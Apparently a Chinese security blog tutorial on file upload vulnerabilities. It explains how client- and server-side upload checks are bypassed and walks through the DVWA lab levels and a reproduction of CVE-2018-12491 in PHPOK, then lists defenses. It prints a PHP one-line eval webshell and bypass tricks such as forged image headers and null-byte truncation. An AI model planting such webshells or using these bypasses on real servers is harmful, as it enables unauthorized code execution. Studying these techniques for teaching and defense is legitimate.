文件上传漏洞

Posted son01

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件上传漏洞相关的知识,希望对你有一定的参考价值。

文件上传

文件上传就是在一些web应用中允许用户上传图片,文本等相应文件到服务器指定的位置。而文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,之后通过url去访问以执行代码达到攻击的目的。

可以成功攻击的条件

1.存放上传文件的目录要有执行脚本的权限,也就是文件能够被解析执行。
2.可以通过web访问这个文件。
3.知道文件上传后的路径和文件名称,有的web应用会修改上传文件的文件名称。

上传文件的常见检测及其绕过

1.客户端javascript检测

function check(){
        var filename=document.getElementById("file");
        var str=filename.value.split(".");
        var ext=str[str.length-1];
        if(ext==‘jpg‘||ext==‘png‘||ext==‘jpeg‘||ext==‘gif‘){
           return true;
        }else{
            alert("这不是图片!")
            return false;
        }
        return false;
    }

通常是在上传页面里检测文件上传的JS代码,最常见的是检测文件扩展名是否合法,如代码中的check()函数。
绕过方式:
使用burpsuite修改请求的数据包
禁用JS的执行
删除掉验证文件后缀的函数
2.服务端MIME类型检测
web应用可以通过MIME类型来判断文件类型,通过对请求包中的Context-Type类容进行校验,判断是否是允许上传的文件。
绕过方式
使用抓包工具将数据包信息中的Content-Type关键字进行修改
常用的MIMETYPE表:

text/plain(纯文本)
text/html(HTML文档)
text/javascript(js代码)
application/xhtml+xml(XHTML文档)
image/gif(GIF图像)
image/jpeg(JPEG图像)
image/png(PNG图像)
video/mpeg(MPEG动画)
application/octet-stream(二进制数据)
application/pdf(PDF文档)
application/(编程语言) 该种语言的代码
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表单)
multipart/form-data(POST提交时伴随文件上传的表单)

3.服务端目录路径检测
检测文件的上传路径是否合法
绕过方式
用0x00截断
利用解析漏洞
4.服务端文件扩展名检测
对文件的后缀名进行检测,常见的有白名单和黑名单两种。
①黑名单检测
文件名在黑名单中,则为不合法,示例代码:

$postfix = end(explode(‘.‘,‘$_POST[‘filename‘]);
if($postfix==‘php‘||$postfix==‘asp‘||$postfix==‘sh‘){
  echo "invalid file type";
  return;
}

绕过方式
<1.文件名大小写绕过
用像AsP,PhP之类的文件名绕过黑名单检测。
<2.名单列表绕过
一般有个专门的blacklist文件,里面会包含常见的危险脚本文件扩展名。用黑名单里没有的名单进行攻击,比如黑名单没有asa或cer之类的。
??.特殊文件名绕过
把数据包里的文件名该为test.asp.或test.asp_,绕过验证后,会被windows系统自动去掉后面的点和空格,但是在Unix/Linux系统里没有这个特性。
<4.0x00截断绕过(PHP版本<5.3.4)
<5.上传.htacess文件绕过
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.通过htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其他类型文件无法上传,但是.htaccess文件没有限制,可以上传.htacess文件进行绕过。
<6.解析调用/漏洞绕过
②白名单检测
文件名不在白名单的,则均为不合法,示例代码:

$postfix = end(explode(‘.‘,‘$_POST[‘filename‘]);
if($postfix==‘jpg‘||$postfix==‘png‘||$postfix==‘gif‘){
  //save the file and do something next
} else {
  echo "invalid file type";
  return;
}

绕过方式
白名单要比黑名单安全一些,但也不是绝对安全。
<1.0x00截断绕过(PHP版本<5.3.4)
<2.利用服务器解析漏洞绕过
5.服务端文件内容检测
①文件幻数检测
检测文件头,比如:
jpg文件的文件头为:FF D8 FF E0 00 10 4A 46 49 46
gif文件的文件头为:47 49 46 38 39 61
png文件的文件头为:89 50 4E 47
绕过方式
在文件幻数后面加上一句话木马即可
②文件相关信息检测方法
图像文件相关信息检测常用的就是getimagesize()函数,只需要把文件头部分伪造好就OK,就是在幻数的基础上加一些文件信息。
有点像下面的结构

GIF89a
 (...some binary data for image...)
 <?php phpinfo(); ?>
 (... skipping the rest of binary data ...)

③文件加载检测方法
一般是调用API或函数去进行文件加载测试。常用的是图像渲染测试,或者进行二次渲染。
绕过方式
<1.对渲染/加载测试的攻击方式
代码注入绕过(在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区,对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的)
<2.对二次渲染的攻击方式
二次渲染即文件上传时会被渲染,下载回来后还会被重新渲染。常见的攻击方式是攻击文件加载器本身(常见的是溢出攻击),上传自己的恶意文件后,服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode。

实例分析

1.DVWA靶场 File Upload
①low等级

<?php
if( isset( $_POST[ ‘Upload‘ ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ ‘uploaded‘ ][ ‘name‘ ] );
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ], $target_path ) ) {
        // No
        echo ‘<pre>Your image was not uploaded.</pre>‘;
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

从代码中可以分析出,首先将上传路径"网页根目录/hackable/uploads/"赋值给$target_path,然后通过basename()函数获取上传文件名,并加入到$target_path变量中,最后通过move_uploaded_file()函数将上传文件移动到$target_path的新位置。在整个过程中,并没有验证上传文件的合法性,可以直接上传PHP文件。
技术图片
②Medium等级

<?php
if( isset( $_POST[ ‘Upload‘ ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ ‘uploaded‘ ][ ‘name‘ ] );

    // File information
    $uploaded_name = $_FILES[ ‘uploaded‘ ][ ‘name‘ ];
    $uploaded_type = $_FILES[ ‘uploaded‘ ][ ‘type‘ ];
    $uploaded_size = $_FILES[ ‘uploaded‘ ][ ‘size‘ ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ], $target_path ) ) {
            // No
            echo ‘<pre>Your image was not uploaded.</pre>‘;
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo ‘<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>‘;
    }
}
?>

与low等级相比,Medium等级增加了对上传文件类型和大小的判断。通过burp对数据包进行抓取,修改里面的Content-Type为符合要求的image/png即可。
技术图片
技术图片
③High等级

<?php
if( isset( $_POST[ ‘Upload‘ ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ ‘uploaded‘ ][ ‘name‘ ] );

    // File information
    $uploaded_name = $_FILES[ ‘uploaded‘ ][ ‘name‘ ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, ‘.‘ ) + 1);
    $uploaded_size = $_FILES[ ‘uploaded‘ ][ ‘size‘ ];
    $uploaded_tmp  = $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo ‘<pre>Your image was not uploaded.</pre>‘;
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo ‘<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>‘;
    }
}
?>

在原先代码的基础上,High等级增加了对文件名后缀的检验,并且通过strtolower()函数将后缀名全改为小写,以防大小写绕过。同时还使用了getimagesize()函数来获取图像的相关信息,来对文件的开头通过二进制识别是否为图像。这里的绕过方式是在一句话木马文件与一张图片结合,来伪造文件头通过验证。
技术图片
技术图片
上传成功。
2.CVE-2018-12491 文件上传漏洞
漏洞复现:
搭建好环境后,在浏览器输入相应路径http://localhost/PHPOK/admin.php,输入管理员账号和密码,进入管理员登录界面,点击模块管理访问漏洞页面。
技术图片
新建一句话木马,并压缩成ZIP文件。

<?php @eval($_POST[‘Son01‘]); ?>

技术图片
点击模块导入,选择本地文件,点击导入模块。
技术图片
使用蚁剑连接成功上传的文件。
技术图片
漏洞分析:
技术图片
漏洞代码位于framework/admin/modulec_control.php中的642行,其原因就是没有做任何的过滤,直接把zip原样解压缩到/data/cache/的目录下面。

文件上传漏洞的防御方法

1.文件上传目录禁止脚本解析
2.对上传后的文件使用随机数改名
3.定时修复服务器端的解析类漏洞,以及文件包含类漏洞避免漏洞组合
4.严格检查上传的文件后缀名、Content-Type、文件内容等

参考资料:
https://www.freebuf.com/vuls/128846.html
https://xz.aliyun.com/t/7365
https://secgeek.net/bookfresh-vulnerability
















































































以上是关于文件上传漏洞的主要内容,如果未能解决你的问题,请参考以下文章

文件上传漏洞

php代码审计8审计文件上传漏洞

2020/1/30 PHP代码审计之文件上传漏洞

文件上传漏洞成因是啥?

文件上传漏洞,解析漏洞总结

文件上传漏洞